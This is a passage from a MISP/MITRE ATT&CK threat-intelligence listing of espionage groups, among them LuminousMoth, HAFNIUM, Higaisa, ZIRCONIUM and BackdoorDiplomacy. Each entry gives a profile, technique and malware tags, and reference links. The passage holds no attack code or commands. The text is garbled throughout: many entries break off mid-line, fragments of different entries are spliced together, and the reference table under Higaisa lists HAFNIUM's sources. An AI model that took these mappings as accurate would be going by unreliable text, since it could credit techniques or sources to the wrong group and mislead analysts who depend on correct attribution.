• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="BloodHound - S0521" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with
- uses: misp-galaxy:mitre-attack-pattern=" Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern=" Remote Email Collection - T1114.002" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="esentutl - S0404" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6510. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0114">https://attack.mitre.org/groups/G0114</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/">https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/</a></td>
</tr>
</tbody>
</table>

**Gelsemium - G0141**

[Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Gelsemium - G0141"*

Gelsemium - G0141 is also known as:

• Gelsemium

Table 6511. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0141">https://attack.mitre.org/groups/G0141</a></td>
</tr>
</tbody>
</table>

**LuminousMoth - G1014**

[LuminousMoth](https://attack.mitre.org/groups/G1014) is a Chinese-speaking cyber espionage group that has been active since at least October 2020. [LuminousMoth](https://attack.mitre.org/groups/G1014) has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between [LuminousMoth](https://attack.mitre.org/groups/G1014) and [Mustang Panda](https://attack.mitre.org/groups/G0129) based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="LuminousMoth - G1014"*
LuminousMoth - G1014 is also known as:

- LuminousMoth

View relationships graph

LuminousMoth - G1014 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: `misp-galaxy:mitre-attack-pattern="Link Target - T1608.005"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Tool - T1588.002"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Tool - T1588.002"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-malware="Cobalt Strike - S0154"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"` with estimative-language:likelihood-probability="almost-certain"

• uses: `misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 6512. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1014">https://attack.mitre.org/groups/G1014</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-luminousmoth/103332/">https://securelist.com/apt-luminousmoth/103332/</a></td>
</tr>
</tbody>
</table>

**MoustachedBouncer - G1019**

[MoustachedBouncer](https://attack.mitre.org/groups/G1019) is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.(Citation: MoustachedBouncer ESET August 2023)

The tag is: `misp-galaxy:mitre-intrusion-set="MoustachedBouncer - G1019"`
MoustachedBouncer - G1019 is also known as:

- MoustachedBouncer

View relationships graph

MoustachedBouncer - G1019 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SharpDisco - S1089" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Content Injection - T1659" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NightClub - S1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Disco - S1088" with estimative-language:likelihood-probability="almost-certain"

Table 6513. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1019">https://attack.mitre.org/groups/G1019</a></td>
</tr>
</tbody>
</table>

CostaRicto - G0132

[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019.
CostaRicto's targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia. (Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-intrusion-set=“CostaRicto - G0132”*

CostaRicto - G0132 is also known as:

- CostaRicto

---

**Confucius - G0142**

Confucius - G0142 is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between Confucius and Patchwork, particularly in their respective custom malware code and targets. (Citation: TrendMicro Confucius APT Feb 2018) (Citation: TrendMicro Confucius APT Aug 2021) (Citation: Uptycs Confucius APT Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set=“Confucius - G0142”*

Confucius - G0142 is also known as:

- Confucius
- Confucius APT

---

Confucius - G0142 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hornbill - S1077" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="WarzoneRAT - S0670" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Sunbird - S1082" with estimative-language:likelihood-probability="almost-certain"

Table 6515. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0142">https://attack.mitre.org/groups/G0142</a></td>
</tr>
</tbody>
</table>

3444
Windigo - G0124

The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019. (Citation: ESET Windigo Mar 2014) (Citation: CERN Windigo June 2019)

The tag is: `misp-galaxy:mitre-intrusion-set="Windigo - G0124"`

Windigo - G0124 is also known as:

- Windigo

View relationships graph

Windigo - G0124 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="Ebury - S0377"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6516. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0124">https://attack.mitre.org/groups/G0124</a></td>
</tr>
<tr>
<td><a href="https://security.web.cern.ch/advisories/windigo/windigo.shtml">https://security.web.cern.ch/advisories/windigo/windigo.shtml</a></td>
</tr>
</tbody>
</table>
HAFNIUM - G0125

[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="HAFNIUM - G0125"`

HAFNIUM - G0125 is also known as:

- HAFNIUM
- Operation Exchange Marauder

View relationships graph

HAFNIUM - G0125 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Impacket - S0357"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="ASPXSpy - S0073"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-malware="China Chopper - S0020"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Tarrask - S1011" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-
Higaisa - G0126

[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Higaisa - G0126"`

Higaisa - G0126 is also known as:

- Higaisa

View relationships graph

Higaisa - G0126 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="certutil - S0160"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"

Table 6517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0125">https://attack.mitre.org/groups/G0125</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></td>
</tr>
</tbody>
</table>
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
ZIRCONIUM - G0128

[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)

The tag is: `misp-galaxy:mitre-intrusion-set="ZIRCONIUM - G0128"`

ZIRCONIUM - G0128 is also known as:

- ZIRCONIUM
- APT31

View relationships graph

ZIRCONIUM - G0128 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern=" Spearphishing Link - T1566.002"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-
BackdoorDiplomacy - G0135

[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="BackdoorDiplomacy - G0135"

BackdoorDiplomacy - G0135 is also known as:

- BackdoorDiplomacy

View relationships graph

BackdoorDiplomacy - G0135 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware="Turian - S0647" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

